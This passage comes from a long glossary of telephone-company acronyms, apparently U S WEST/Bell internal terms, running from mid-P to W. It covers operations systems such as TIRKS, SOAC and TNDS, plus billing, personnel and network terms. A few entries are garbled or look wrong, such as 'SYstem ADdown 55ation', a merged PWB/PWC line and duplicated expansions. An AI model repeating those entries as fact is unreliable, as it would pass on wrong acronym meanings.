PNB IC Pacific Northwest Bell Information Center
PO Purchase Order
POC Point(s) Of Connection
POF (2) Pending Order File
Planning Office of the Future
POI (3) Point Of Interface
Point Of Interconnection
POInt of termination
POINT/EMR Point/Extended Message Record
POLES Pole Location Records System
POMAP Public Operational Marketing Access Processor
POMS Printed Output Management System
PON Purchase Order Number
POP (2) Point Of Presence (Or P/P)
Point Of Purchase
POR Plan Of Reorganization
PORT Payroll Output Replacement Team
POT Point Of Termination
POTS Plain Old Telephone Service
PP Parallel Processing
PPC PICS Processing Code
PPD Periodic Partial Distribution
PPI (2) Planning Provisioning Interface
Perpetual Inventory
PPO Preferred Provider Organization
PPS Performance Planning System
PPSN Public Packet Switched Network
PPSS Public Packet Switched Service
PPTS Point to Point Toll Studies
PQUARK Programmable Quantizer Analyzer and Record Keeping
PRC Procurement Resource Center
PRA (2) Place Ready Access Terminal
Primary Rate Access
PREMIS Premises Information System Premis Information/
Loop Assignment Center
PREMIS/LAC PREMIS/Loop Assignment Center
PRI (2) Property Record Item
Primary Rate Interface
PRILOG Primary Recovery Log Data Set Record
PRIOLDS Primary Online Log Data Set Record
PRISLDS Primary System Log Data Set Record
PRISM PeRsonnel Information SysteM
PRO (4) Personnel Records Office
Personnel Records Organization
Performance Reporting Option
Product Revenue and Orders
PROC Procedure
PROC LIB Procedure Library
PROCDS Programmable Circuit Design System (TIRKS)
PROFIT Professional Financial Information Tools
PROFS Professional Office Support System
PROM Programmable Read-Only Memory
PROMDS Programmable Message Design System (TIRKS)
PROMS Provisioning Order Management System
PROSPIR Property Records OutSide Plant and Inventory
Reconciliation
PRS (2) Project Reporting System
Property Record System
PRSCOE Property Records System Central Office Equipment
PRSOSP Property Records System Outside Plant
PS Packet Switch
PS INCOME Public Services-Income Study
PSA Presubscription Allocation
PSAP Public Safety Answering Point
PSB Program Specification Block
PSC Public Service Commission
PSCS Production Software and Consulting Services
PSDS Public Switched Digital Serivces
PSI Packet Switching Interface
PSMS Pre-Sales Study Management System
PSN Public Switched Network
PSRC Passed SouRCe
PSS Personnel Subsystem
PSSP Phonecenter Staffing and Sizing Program
PST (2) Presubscription Support Team
Program Scan Testing
PSTN Public Switched Telephone Network
PSW Program Status Word
PTAR Preliminary Technical Analysis Report
PTB Place Terminal Block
PTCCO Principal Telephone Company Central Office
PTD Plant Test Date
PTF Pending Transaction File
PTI PICS/TIRKS Interface
PTIB Product Technology Integration Board
PTIMA Public Telephone Installation And Maintenance
PTIMC Public Telephone Installation/Maintenance Center
PTIPP Public Telephone Installation Performance Program
PTMS Public Telephone Monitoring System
PTN Public Telephone Network
PTS (2) Personnel Tracking System
Pole Tracking System
PUB AFFR Public Affairs
PUC (2) Public Utilities Commission
Peripheral Unit Controller (Circuit Packs)
PUG Provisioning User Group
PVN Private Virtual Network
PVR (2) Personal Vehicle Reimbursement
PIC Verification Report
PWB/UNIX Programmer's WorkbenchPWC Plant Work Centering
PWS Planning Work Station
PYCC Piscataway Computer Center
QAS Quality Assurance System
QISAM Queued Indexed Sequential Access Method
QMF Query Management Facility
QUASR Quality Assuarnce Status Reports
QUICK Standards Committee of the OPT Project
QWL Quality of Work Life
RA Route Advance
RA/BS RAtio to Busy Season
RABS Use RA/BS
RAC (2) Resource Allocation Council
Rearrange Access Codes
RACF Resource Access Control Facility
RAF Reports Administration Features
RAL Repair Answering Location (formerly CRSAB)
RAM (4) RAO (Revenue Accounting Office)
AMA (Automatic Message Accounting)
Mini Computer System
Random Access Memory
RAMIS (2) Rapid Access Control Facility
Rapid Access Method Information System
RAMS (3) Regional Account Manager Support
Remote Alarm Monitoring System
Regional Access Management System
RAND Rural Area Network Design
RAO Revenue Accounting Office
RAP Regional Accounts Payable (system)
RAPUD Revenue Analysis from Parametric Usage Description
RAQ Revenue Accounting Office
RAS Routing Assignment System
RASC Residence Account Service Center
RASIR RAdio Systems Information Resource
RATES Rate and Route Display System for Operator Positions
RBCS Record Base Coordination Center
RBMSR Residence Business Marketing Sales Report
RBOC Regional Bell Operating Company
RC (3) Responsibility Code
Responsibility Center
Recent Change
RCAPS Residence Customer Analytic Profile System
RCBS Regional Chargeback Billing System
RCC (2) Radio Common Carrier
Responsibility Code Charged
RCDB Rate Case Data Base
RCF Remote Call Fowarding
RCM Release Complete Message
RCMAC Recent Change Memory Administration Center
RC-O Responsibility Code-Originator
RCP Routing Control Point
RCS Remote Computer Services
RCU (2) Remote Console Unit
Remote Control Unit
RD Reverse Directory
RDA (3) Reference Data Administration
Remote Dial Access
Remote Diagnosis Access
RDB Revenue Data Base
RDBS Routing Data Base System
RDDS Residence Direct Delivery System
RDES Remote Data Entry System
RDS (5) Report Distribution System
TNDS/Reports Distribution System
Reference Data System
Repetitive Debt System
TIRKS/Reports Distribution System
RDT (2) Radio Digital Terminal
Routine and Demand Test
REACT (2) Retirement Equity Act of 1984
Regional Evaluation And Classfication
Tracking System
READ Remotely Accessible Data Terminal
REBANS Regional Enhanced Billing and Netting Statement
REBUD Rehabilitation Budgeting Program
REC Radio Engineering Center
RECON Recovery Control
RECOV Recovery
RECOVPD Recovery Period
REF Use TIRKS-C1/REF or TIRKS E1/REF
REF/AUD Reference Audit System
REFAUD Use REF/AUD
REG (2) FCC Registration
Range Extension with Gain
REGIS Requisition Entry and General Inventory System
REIMS Real Estate Information Management System
REN Remote Equipment Number
RES/SCA COE and Outside Plant Forecasting
RESCAPS Residence Customer Analytical Profile System
REVGEN2 Revenue Modeling
REVS Revenue Evaluation System
RF Radio Frequency
RFMC Regional Facility Management Center
RFP Request For Proposal
RHC Regional Holding Company
RHITS Regional Hardware Inventory Tracking System
RI Revenue Interface
RICS Reuse Inventory Control System
RID Record Issue Date
RIM (2) Relational Information Management
Revenue Information Management
RIMS Reuse Inventory Management System
RIP Raster Image Processor
RISC Reduced Instruction Set Computer
RISM Revenue In-Service and Movement
RISSI Regional Information Systems Software Inventory
RIT (3) Recon-Intialization Time Stamp
Release Integration Test
Runbook Interface Tools
RIVAL Revenue-Intercity Vulnerability Analysis
RIX Disconnect It Cross-Connect
RJE Remote Job Entry
RJI Revenue Journal Interface
RJP Remote Job Processing
RLCM Remote Line Concentrator Module
RLDS Recovery Log Data Set
RLTF Radio Line Terminating Frame
RM Release Message
RMA Request For Manual Assistance
RMAF Remote Multiple Access Facility
RMAP Remote Memory Administration Position
RMAS Remote Memory Administration System
RMATS Remote Maintenance Administration and Traffic System
RMATS-1 Remote Maintenance Administration and Traffic
System-1
RMATS-2 Remote Maintenance Administration and Traffic
System-2
RMC Residence Marketing Center
RMDS Report Management and Distribution System
RMIE Regional Marketing Information Environment
RMMS Regional Maintenance Management System
RMN Return Material Notice
RMIS Regional Material Inventory System
RMS root-mean-square
RN Referred In
RNMC Regional Network Management Center
ROC (3) Real Estate Operations Center
Regional Operations Center
Regional Oversight Committee
Residence Order Center
ROGT Remote Outgoing Trunk Unit
ROM Read-Only Memory
ROMMS Residence Office Methods Management System
ROTL Remote Office Test Line
ROTR Receive Only Typing Reperforator
ROUTE Route Administration
ROW Right Of Way
RPEC Regional Product Evaluation Committee
RPFT Remote Power Feed Terminal
RPG Report Program Generator
RPL Restructure Private Line
RPMS (2) Radio Performance Monitoring System
Radio Protection Monitoring System
RPP Regional Policy and Procedures
RPPP Reassignment Pay Protection Plan
RQS Rate Quote System
RR Rate Reference
RRCS Regional Remote Computing Services
RRO Responsible Reporting Office
RRRS Route Relief Requirements System
RRSC Residence Retail Sales Center
RS Reservation Service
RSA (3) Regional Sharing Agreement
Repair Service Answering
Rural Service Area
RSB Repair Service Bureau
RSBS Regional Small Business Systems
RSC (3) Residence Sales Center
Remote Switching Center
Residence Service Center
RSFM Residence Segment Financial Model
RSPT Regional Systems Planning Team
RSM Remote Switching Modules
RSRS Residence Sales Report System
RSS (2) Remote Switching System
Regional Subscription System
RSTAR Regional System for Tracking and Administering
(Procurement) Requests--formerly STAR
RSTC Routing Selected Transmission Control
RSU Remote Switch Unit
RTA Remote Trunk Arrangement
RTACC Regional Technical Assistance Cont Center
RTC Remote Terminal Controller
RTE Report To Employees
RTM Response Time Management
RTM-IBM Response Time Management-IBM Phase
RTS Remote Test System
RTTU Remote Trunk Test Unit
RTTU/CTTU Remote Trunk Test Unit/Centralized Trunk Test Unit
RTU Right To Use
RUND Run Draft (Generates Run Books)
RWG Responsible Work Group
S&E RATING Service & Equipment Rating for Customer Billing
S/N Signal to Noise
SA (3) Systems Administration
Special Arrangement
Service Area
SAC (2) Serving Area Concept
Strategic Air Command
SACCS Strategic Air Command Control System
SAD Street Address Directory
SAF (2) Store And Forward System
Service Area Function
SAFE Store And Forward Element
SAG Street Address Guide
SAINT Sales Aids Integration System
SAM (2) Special Accounts Mechanization
Sequential Access Method
SAOBS Sales Aid Ordering and Billing System
SAR Summary Annual Report
SARTS Switched Access Remote Testing System
SARTS/PC Switched Access Remote Testing System Process
Controller
SARTS/RTS Switched Access Remote Testing System/Remote
Test System
SAS (5) Systems Administration Service
Separations Analysis System
Statistical Analysis System
Statistical Analysis Software
Switched Access Service
SASMAP Dataphone Select-A-Station (DSAS)
Market Analysis Program
SASS Sickness Absence Summary System
SAV Statistically Adjusted Value
SAWG Switching Administration Work Group
SBC Strategic Business Council
SBS (4) Small Business Systems
Satellite Business Systems
Small Business Systems Process Controller
Small Business Services
SBU Strategic Business Unit
SC-EACS Service Costs-Economic Analysis and Comparison
SCA Signal Converter Alloter
SCADDS Service Cost Analysis of Dataphone
Digital Service
SCAM Switch Control And Monitor
SCAM/USOC System Code Administration and Maintenance
SCANS Software Change Administration and Notification
System
SCANTEL An On-Line Listing Access System
SCAR Series Completion Assignmnet Request
SCATS Service Control And Tracking System
SCC (2) Switching Control Center
State Corporation Commission
Switching Control Center
SCC-EMS Switching Control Center-Electromechanical Systems
SCC-SPCS Switching Control Center-Stored Program Control
Systems
SCC/DMS-200 Switching Control Center/DMS 100 and 200
SCCANS Synchronized Code Control And Notification
SCCP Signaling Connection Control Port
SCCS (2) Switching Control Center System
Source Code Control System
SCCS NO. 2 No. 2 Switching Control Center System
SCD Selective Carrier Denial
SCDN Shared Corporate Data Network
SCEACS Use SC-EACS
SCI SOAC Controlled Input
SCID Secondary Circuit Identifier
SCIS Switching Cost Information System
SCN Sub-Core Network
SCO (2) SOAC Controlled Output
System Control Office
SCOPE Special Convention Operation Package Equipment
SCOPES Switching And Central Office Planning and
Engineering System
SCOTS Surveillance and Control Of Transmission Systems
SCP Service Control Point
SCS Scheduling and Coordination System
SCSR SOAC Controlled Service Requisition
SCU System Control Unit
SD Schematic Drawing
SDB Sickness Disability Benefits
SDC (3) System Design Center
System Design Consultant
Sales Development Ctr-Bus Svc Ctr
SDDF Subscriber Digital Distributing Frame
SDDS Switched Digital Data System
SDLC Synchronous Data Link Control
SDM (2) Source Document Micrographics
Space Division Multiplexing
SE Special Equipment
SEA (2) Secondary Entity Access
Secondary Entity Allocation System
SEAS Signal Engineering Administration System
SEATS Scheduled Enrolling And Tracking System
SEC (2) Service Evaluation Center
System Entity Code
SECLOG Secondary Recovery Log Data Set Record
SECOLDS Secondary Online Log Data Set Record
SECSLDS Secondary System Log Data Set Record
SEL Sales Expansion Line
SEPMOD Separations Planning Model
SEPSTAT Separations Planning Model-Statistics
SER Series Completion Directory Number
SERS Service Evaluation Results System
SES Service Evaluation System
SES NO. 1A Service Evaluation System No. 1A
SES NO. 2 Service Evaluation System No. 2
SESKED Service Evaluators Scheduling
SESOR Service Evaluation System Output Results
SF (2) Single Frequency (Signaling)
Spare Facility
SFG Simulated Facility Group Number
SGN Common Language Segment Number
SHARECTL Share Control
SHARP Self-Healing Alternate Route Protection
SHNS Self-Healing Network Services
SHS Self-Healing Services
SI (2) Service Interface
Service Integration
SIC Standard Industrial Code
SID Scheduled Issue Data
SIDB Signal Intercept Data Base
SIE System Integrity Edits
SIEDS Shared Interactive Eletronic Distribution System
SIFC SOPAD Interface File Creation
SIMS Safety Information Management System
SIN Strategic Integrated Network
SIPP Supplemental Income Protection Program
SIPU Screen Image Print Utility
SIR Standard Internal Record
SIS Separations Information System
SITB Systems Integration Technology Board
SL Short-Lead Connect
SLAP Single Location Aggregative Process
SLC (2) Subscriber Loop Carrier
Subscriber Line Charge
SLC96 Subscriber Loop Carrier
SLDS System Log Data Set
SLI U S WEST Service Link Inc
SLID Stocking Location Identification
SLIM Subscriber Line Interface Module
SLIP Subscriber Loop Improvement Plan
SLM Subscriber Loop Multiplexer
SLNT Shortened Lives for New Technology
SLUS (4) Subscriber Line Usage Studies
Subscriber Line Usage System
Subscriber Line Usage System II
Subscriber Line Usage System VI
SM Service Manager
SMA (2) Service Management System
Standard Metropolitan Statistical Area
SMACS System For Medical Administration And Clinical
Statistics
SMART Software Management And Reporting Tool
SMARTS Sample Message And Revenue Timeshare System
SMAS Switched Maintenance Access System
SMC State Management Council
SMCC Switching Management Control Center
SMDF Subscriber Main Distribution Frame
SMDS Switched Multi-megabit Data Service
SME Subject Matter Expert
SMETDS Standard Message Trunk Design System
SMF System Management Facilities
SMFAS Simplified Modular Frame Assignment System
SMS (2) Scoopline Market Study
Service Management System
SMSA Standard Metropolitan Statistical Area
SMU Strategic Marketing Unit
SN56 SwitchNet 56
SNA Systems Network Architecture
SNAC Standard Network Annual Cost
SNAP Syndicated Network Audience Processor
SNC Software Network Capability
SNCC Signaling Network Control Center
SNFA Shared Network Facilities Agreement
SNI (3) SNA Network Interconnection
Standard Network Interface
Subscriber Network Interface
SO Service Order
SOA Speed of Order Assignment
SOAC Service Order Analysis and Control
SOADS Service Order Assignment and Distribution System
SOAS Service Order Aging System
SOCC Switching Office Control Center
SOE Standard Operating Environment
SOEC Service Order Entry Center
SOEC-SS Service Order Entry Center-Special Services
SOEC/SS Service Order Entry/Special Services
SOFI System for Operational and Financial Integration
SOG (2) Service Order Generator
System Operations Guide
SOI Speed of Order Issuance
SOLAR Service Order Logistics And Reference system
SOLER Selection and Optimized LEap Report
SOLID System for On Line Documentation
SOLTS Small Office Loop Testing
SOM Service Observing Month
SOMS Service Order Mechanization System
SONAR Service Order Negotiation And Retrieval System
SONDS Small Office Network Data System
SONET (2) Synchronous Optical Networks
Switched Optical NETwork
SONG Service Order Number Generator
SOP Service Order Processing
SOPAD Service Order Processing And Distribution
SOPAD/FACS SOPAD/Facilities Assignment and Control
SOPI Service Order Processing Interface
SOPO Support Of Project Orders
SOPP System Optimization Pricing Program
SORD Service Order Retrieval (Or Routing) and Distribution
SORP Service Order Routing & Processing
SOS (2) Short Outage System
Systems On-line Support
SOSS Sample Office Seletion System
SOST Special Operator Services-Traffic
SOT Service Order Tracking
SOT/OFCL Service Order Tracking/Official Service Only
SOUNDS Small Office Network Data System
SP Signaling Points
SPA Sequential Projection Algorithm
SPAC Switching Point Access Channel
SPAR Selected Products Activity Report
SPARS Service and Product Analysis Report System
SPARTON Sparton 5300
SPC Strategic Planning Council
Stored Program Control
SPCS Stored Program Control System
SPCS-COER Stored Program Control Systems-Central Office
Equipment Reports
SPCSS Stored Program Control Systems Switching Systems
SPD Summary Plan Description
SPF (2) Structured Programming Facility
System Productivity Facility
SPL (4) Separate Product Line
Separate Project Line
Special Service (Or SS)
Standard Product Line
SPLIT Separate Product Line Implementation Team
SPOC Single Point Of Contact
SPOS Switch Plan and Order System
SPS Systems Planning & Support
SPUC/DL Serial Peripheral Unit Controller/Data Link
SQA System Queue Area
SQS Sales Query System
SR Service Request
SRC Service Request Confirmation
SRCP System Release Control Procedures
SRL Singing Return Loss
SRM (2) Selective Ringing Module
System Resources Manager
SRP Set Recovery Plan
SS (3) Special Services
Special Service Circuit
Switching System
SS7 Signaling System 7
SSAC (2) Special Service Administration Center for
Special Service Centers
Support Services Council
SSC Special Services Center
SSCAG Special Service Center Administration Guide
SSCG Special Services Circuit Generator
SSD Software Subsystem Description
SSDAC Special Service Dispatch Administration Center
SSF Special Services Forecast
SSFOG Special Services and Facilities Operations Group
SSFS Special Services Forecasting System
SSFS/CHAT Special Services Forecasting System/Churn
Analysis Tool
SSHOR Special Services Held Orders Report
SSI (2) Standard Supply Items on Wang
Standard Supply Item (Lookup) (MRI)
SSM State Separations Model
SSMB (2) Special Service Mechanized Billing
Special Services Maintenance Bureau
SSMMP Special Services Maintenance Measurement Plan
SSN (2) Social Security Number
Switched Service Network
SSN/EPSCS Switched Service Network/Enhanced Private
Switched Comm System
SSP (3) U S WEST Savings and Security Plan (Occupational)
Service Switching Point
Special Service Protection
SSPMP (2) Special Service Performance Measurement Plan
Special Service Provisioning Measurement Plan
SSS (3) System Software Support
Special Services System
SMDS Switching System
SSS/MAPSS Measurement Analysis Plan Special Services
SSSD Segmented Special Services Design
SSU Specialized Service Unit
SSU/SOEC Specialized Service Unit/Service Order Entry Center
SSWG Special Services Work Group
SSWS Special Services Work Station
ST Systems Test
STAIRS STorage And Information Retrieval System
STAP STation APparatus Information System
STAR (2) System for Tracking and Administration Requests
System Tester Activity Report
STARS (3) Sampled Traffic Analysis Report System
Sales Tactics And Revenue Support
Satellite Terrestrial Automated Radio System
STATLIB Statistical Computing Library
STATOC Service and Technology Analysis with Task
Oriented Costing
STATPAK Statistical Package
STATS Station Statistics Related to Customer Services
STC (2) Serving Test Center
Special Service Test Centers
STEC Segment Training and Education Council
STF System Test Failed
STIMS Special Tool Information Management System
STM Synchronous Transfer Mode
STN Screening Telephone Number
STOC Serving Television Operating Center
STP (4) Signaling Test Point
Signal Transfer Points
System Test Passed
Service Transfer Point
STS (2) Shared Tenant Services
System Technical Support
SUDS Supplementary Data System
SUMS Separations Update and Maintenance System
SUN Simplified Uniform Network
SURF Service Units Reference File
SURP Service Units Reference File
SUT System Under Test
SVCS Services
SWA Sharedwork Agreement
SWAL Switched Access Line
SWAT (2) Scientific WATS Analysis Techniques
Scientific WATS Design Techniques
SWC Serving Wire Center
SWG Systems Work Group
SWIFTRAN Program Transmission System
SWT Standard Work Time
SXS Step By Step
SXS COER Step by Step Central Office Reports
SYAD SYstem ADdown 55ation (Administrator)
SYS Systems
SYSGEN System Generation
SYSIN System Input
SYSOUT System Output
SYSSPT System Support
T&M Time & Materials Charges
T&P Transfer & Promotion
T-TRAN Bulk Data Transmission Over Dedicated 50kb Telephone
Line
T/Q Terminating/Originating Ratio
T/S Time Share
TA (2) Technical Advisory
Toll and Assistance
TAC (2) Telephone Activity Center
Terminal Assignment Card
TACS TIRKS Audit and Correction System
TAD TIRKS Automated Documentation
TAE Telemarketing Account Executive
TAG TIRKS Analysis Group
TAMP Trunk Administration Measurement Plan
TAN Technician Access Method
TAR (4) Technical Analysis Report
Terminal Access Reports
Trunk Augment Report
Tax ARea
TARP Technical Analysis and Requirements Process
TAS (2) Trunk Assignment System
Tables and Application Support
TAS/TAR Taxable Interstate/Intrastate Revenue Reports
TASC Telecommunications Alarm Surveillance & Control
System
TASI Time Assigned Speech Interpolation
TASL Time Assignment Speech Interpolation
TASP Toll Alternatives Studies Program
TAXI (2) Terminal Access Interexchange Inquiry
Terminal Access for Interexchange Inquiries
TAXTRACK Tax Tracking
TBD Terminate Buried Drop
TBDS Traffic Budget Data System
TC (4) Telecommuting
Tie Cable
Toll Center
Transport Channel
TCAM Telecommunications Access Method
TCAP Transaction Capabilities Application Port
TCAS (2) T-Carrier Alarm and Surveillance System
T-Carrier Administration System
TCBH Time Consistent Busy Hour
TCC (2) Trunk Control Center
Total Network Data System Coordination Center
TCCP Trunk Cutover Control Program
TCFD Time Code for Day
TCFW Time Code for Week
TCI Temporary Cash Investment
TCIS TOP Communication Interface System
TCM (2) Time Compression Multiplexing
TIRKS Communication Module
TCOG TIRKS,COSMOS Operations Guidelines
TCOP TIRKS-COSMOS Operations Guidelines
TCS Tie Cable System
TCSP Tandem Cross Section Program
TCTMS T Carrier Trouble Monitoring System
TCU Telecommunications Control Unit
TCWATS Tariffs and Costs WATS Modeling
TD (2) Test Details
Translations Design
TD-N Long Distance Microwave Relay Transmission System
TDAS Traffic Data Administration System
TDC Traffic Data Converter
TDD Telecommunication Devices for the Deaf
TDEAS TOC (Task Oriented Costing) Data Entry and Analysis
System
TDEF TIRKS Development Environment Flash
TDF Trunk Distributing Frame
TDIF (2) TIRKS Data Integrity Feature
TIRKS Data Base Integrity Feature
TDIS (2) TIRKS Detailed Regulatory Interface System
TIRKS/DRP Interface System
TDM Time Division Multiplexing
TDNP Total Digital Network Planning
TDRS Traffic Data Report Service
TDS Tape Distribution System
TDSG TIRKS Development System Group
TDSP Trunk Demand Servicing Policy
TDSS TIRKS Development Support System
TEAMS Telecommunications Engineering Assets Management
System (Ex C)
TEAP Training Education Assistance
TEARS Traffic Engineering for Automated Route Selection
TEC (2) Terminal Equipment Center
Transmission Engineering Center
TECS Toll Error Correction System
TEFRA Tax Equity and Fiscal Responsibility Act of 1982
TEL Telematics, Inc.
TELECALC Business Office Force Administration System
TELEQUEST Enhanced Business Search
TEMPO Toll Error Message Processing On-Line
TEO Telephone Equipment Order
TERA Trunk Error Analysis
TERABYTE One Trillion Bytes
TERMS TIRKS Trouble and Enhancement Request Management
System
TERRP Telephone Equipment Return and Reuse Plan
TES (2) Time Entry System
Telephone Exchange Service(s)
TESS (2) TRISS Extract Subsystem
Trouble Entry Sub-System
TESSR Terminal Equipment Sales Summary Report
TEWS (2) Telecommunications Engineering Work-Bench
System (TIRKS)
Transation Engineering Work System
TFAS TIRKS Field Assistance System
TFAST TASP Formatter for Alternative Strategies for TSPS
TFC Traffic
TFMS Trunk and Facility Maintenance System
TFR Toll Fraud Report
TFS Trunking Forecasting System
TFTS Trunk Forecast Tracking System
TG Telephone Grade
TGAC Trunk Group Access Code
TGN Trunk Group Number
TGSN Trunk Group Serial Number
THP Terminal Handling Processor
TIA Telecommunications Industry Association
TIE Terminal Interface Equipment
TIMBER Toll Information Management Budget and Employee
Records System
TIP Tie Placer
TIRKS (2) Trunks Integrated Record Keeping System
Transmission Inventory Record Keeping System
TIRKS-C1 TIRKS-Circuit Component System
TIRKS-C1/CDS TIRKS-Circuit Design System (For Special Service
Circuit)
TIRKS-C1/DAC TIRKS-Asmgt, Rearr or Disc of Eq/Fac Units on a
Circuit
TIRKS-C1/MDS TIRKS-Circuit Design System (For Message Circuits)
TIRKS-C1/REF TIRKS-Circuit Location Information
TIRKS-C1/TAS TIRKS-Trunk Administration System-Assignment
TIRKS-COC Replaced with TIRKS-GOC
TIRKS-E1 Trunks Integrated Records Keeping System
-Equipment Inventory
TIRKS-Equipment Component System
TIRKS-E1/REF TIRKS-Equipment Reference Catalog
TIRKS-E1/TAS TIRKS-Trunk Administration System (For Switching
Equipment)
TIRKS-ECP-1 TIRKS-Equipment Conversion Package-1
TIRKS-ECP-1A TIRKS-Equipment Conversion Package-1A
TIRKS-ECP-1B TIRKS-Equipment Conversion Package-1B
TIRKS-EOC TIRKS-Equipment Order Control (For E1/TAS Equipment)
TIRKS-F1 TIRKS-Facilty Component System
TIRKS-FEPS TIRKS-Facility and Equipment Planning System
TIRKS-GOC TIRKS-Generic Order Control Component System
TIRKS-ICOCS TIRKS-Interim Circuit Order Control System
TIRKS-IEOCS TIRKS-Interim Equipment Order Control System
TIRKS-NET TIRKS-Network Control
TIRKS-PEDITE TIRKS-Provisional Equip Design Incorp Transmission
Equipment
TIRM Technical Information Resource Management
TIU Telecommunications International Union
TL Transmission Level
TLI Telephone Line Identifier
TLOG TIRKS Transaction Log
TLP Transmission Level Point
TM Time Management
TMA TIRKS Management Aid
TMAT TIRKS Mechanized Acceptance Test
TMDS Training Measurement and Data System
TMF (2) Telephone Master File
Trunk Maintenance Files
TMN Trunk Member Number
TMR Traffic Measurement Requests
TMRS Telephone Maintenance Radio Service
TMS Tape Management System
TN Telephone Number
TNAC T-Network Augument Coordination
TNDS (2) Total Network Data Systems
Traffic Network Distribution Services
TNDS/EQ Total Network Data System/Equipment
TNDS/TK Total Network Data System/Trunk
TNE Intelligent Network Element
TNICS Total Network Information and Costs System
TNOP Total Network Operations Planning
TNPC Traffic Network Planning Center
TNPP Traffic Network Planning Procedures
TNPS Transport Network Packet Switch
TNS Transaction Network Services
TOC (3) Task Oriented Costing
Trunk Operations Center
Trunk Ordering Code
TOCC Tone Operated Control Circuit
TOD Time of Day
TOE Term of Employment(Formerly NCS)
TOLD Toll Diversion to Attendant
TOMAS Total Operational Management Analysis System
TONIC T or N Investment Calculation
TOOC-4A Toll Office Operations Center-4A Crossbar
TOP (3) Transport Operations Plan
Task Oriented Practices
Transactions Oriented Protocol
TOPES Telephone Office Planning and Engineering System
TOPIC Toll Operator Position Information Computerized
TOPS (2) Toll Online Processing System
Traffic Operator Positions Systems
TOSC Trunk Operations Support Center
TP (2) Teleprocessing/Teleprovisioning
Tie Pair
TPAM Teleprocessing Access Method
TPDF Tie Pair Distributing Frame
TPEES Transmission and Power Equipment Estimating System
TPI TIRKS/PICS Interface
TPM (2) TIRKS Programming Manual
Terminating Point Master
TPNS Tele-processing Network Simulator
TPR Taper Code
TQ Telequest (tm) Service
TQCS Transmission Quality Control System
TQS TIRKS Query System
TR (2) Trouble Report
Technical Reference
TRA Telephone Recreation Association
TRAC TIRKS Record Accuracy Check
TRACS (2) Trouble Reporting and Control System
Trouble Reporting and Cost System
TRAPS Transportation Reconciliation of Accounts Payable
System
TRBN TNDS Record Base Network
TRCC T-Carrier Restoration Control Center
TRDB (2) Trunking Data Base
Trunk Data Base System
TRE Transmission Equipment
TREST Transmission Evaluation System
TRFS Traffic Routing and Forecasting System
TRID Traffic Record Issue Date
TRIM Trouble Report Improved Methodology
TRIPS Tracking Reporting Inventory Pricing System
TRISS Traffic Item Summarization System
TRK Trunk
TRMS Trunk Records Management System
TRP TIRKS Records Purification
TRQ Traffic Rate Quoter
TRS (2) TIRKS Reporting System
Trunk Routing System
TRUMP Trunk Maintenance Package
TRUNK Conductor(s) and/or Equipment(s) that Create a
Communication Channel
TRUST Trunk Report Update Support Technique
TS Traffic Sensitive
TSAM Tariff Simplification and Mechanization
TSC (2) TIRKS-Technical Service Center
Two-Six Code
TSD (2) Total Systems Development
Technical Standards Document
TSEC Transmission Staff Engineering Center
TSEND TIRKS System for External Network Distribution
TSO Time Share Option
TSP Traffic Service Position
TSPS Traffic Service Position System
TSPS/AMA TSPS/Automated Message Accumulation
TSPS/CAT TSPS/Contracts and Access Tariffs
TSPS/SPC TSPS/Supplemental Peg Count
TSR Testing Services Request
TSS Trunk Servicing System
TSS-C Transmission Surveillance System-Cable
TSS-R Transmission Surveillance System-Radio
TSTPAC Transmission and Signaling Test Plan and Analysis
Concept
TTOE Touch-Tone Order Entry
TTR Touch Tone Residence Line Charge
TTRAN Tape Transmission System
TTS TIRKS Table System
TTY Teletype
TU Traffic Unit
TUF Translator of USOCS to FIDS
TUF (U S WEST) Translate ASR data to USCO and FID
TUFS Traffic Usage Forecasting System
TUG TIRKS User Group
TUR Traffic Usage Recorder
TUTOR TIRKS User Training, Orientation and Reference
TV1, TVS Private Line Broadcast Video Service
TVOC Television Operations Center
TWCA TIRKS Wire Center Administration
TWS Trunk Work Station
UAD Unrequested Assignment Data
UADS User Attribute Data Set
UAS Universal Access System
UCCP Universal Credit Card Plan
UCI (2) Universal Customer Interface
U S WEST Cellular, Inc.
UCS Universal Character Set
UCT Usage and Conversation Time Studies
UDP Update DIP (Dedicated Inside Plant) Parameters
UDS Universal Dispatch System
UFFDA Upfront Financial Development and Analysis
UG CONST Underground Construction
UI Unassignable Indicator
UMR Utilization of Management Resources
UNICCAP Universal Cable Circuit Analysis Program
UNIVAC Universal Automatic Computer
UNIX (2) A Computer Operating System
UNIX Time Sharing System
UNIX R Computer Operating System Developed by Bell Labs
UPA Universal Plant Administration
UPI U S WEST Paging, Inc.
UPS Uninterrupted Power Supply
USAM User Spool Access Method
USASCIL USA Standard Code for Information Exchange
USBOSS BOSS for Region
USDA Universal System of Accounts
USDC Universal Switched Digital Capability
USERID User Identification Code
USG Usage
USM U S WEST Strategic Marketing
USO Universal Service Order
USO/SDCS Universal Service Order/Stds Documentation Control
System
USOA Uniform System of Accounts
USOAR Universal System of Accounts Rewrite
USOC (2) Universal Service Order Code
Uniform Service Order Code
USSB United States Savings Bonds
USTA National Customer Opinion Survey
USW U S WEST, Inc.
USWMPP U S WEST Management Pension Plan
USWC U S WEST Communications
USWCI U S WEST Communications, Inc.
USWPP U S WEST Pension Plan
UT Utah
UTC Update Table for Concentrator Redesign
VAN Value Added Network
VAX Minicomputer Family by DEC
VCI U S WEST Venture Capital, Inc.
VCP Voluntary Contribution Plan (U S WEST)
VDP Volume Discount & Promotions
VDT Video Display Terminal
VFCT Voice Frequency Carrier Telegraph
VG Voice Grade
VGRSP Voice Grade Rate Stability Plan
VIC Videotex Information Center
VIM Voice Information Messaging
VIO Virtual Input/Output
VIP Mountain Bell Volunteers in Politics
VIPP Voluntary Income Protection Program
VIS Vendor Interface System
VISR Vendor Installation Service Results
VLC Voice Line Card
VM (2) Virtual Machine
Virtual Memory, IBM Operating System
VM/CBT VM/Computer Based Training
VMS (2) Operating System for DEC's VAX Computer
Voice Message Service
VOLESS (Mart-China) Verification of Lines in ESS (NSS)
VOTEC Voice and Non-Data Special Services Technical Support
VP Vector Processing
VPM Virtual Private Networks
VR Voice Repeaters
VS Wang Microcomputer Operating System
VSAM (2) Virtual Sequential Access Method
Virtual Storage Access Method
VSAT Very Small Aperture Terminal
VSC Vendor Service Center
VSOS Vehicle Scheduling Optimization System
VSR Vendor Service Request
VSS Voice Storage System
VT CARS Voice Terminal Competitive Activity Report
VTAM Virtual Telecommunication Access Method
VTOC Volume Table of Contents
VTPP Variable Term Pricing Plan
WA (2) Wideband Analog
Work Authorization
WADS Wide Area Data Service
WAG Warehouse Administrative Group
WAL WATS Access Line
WAN Wide Area Network
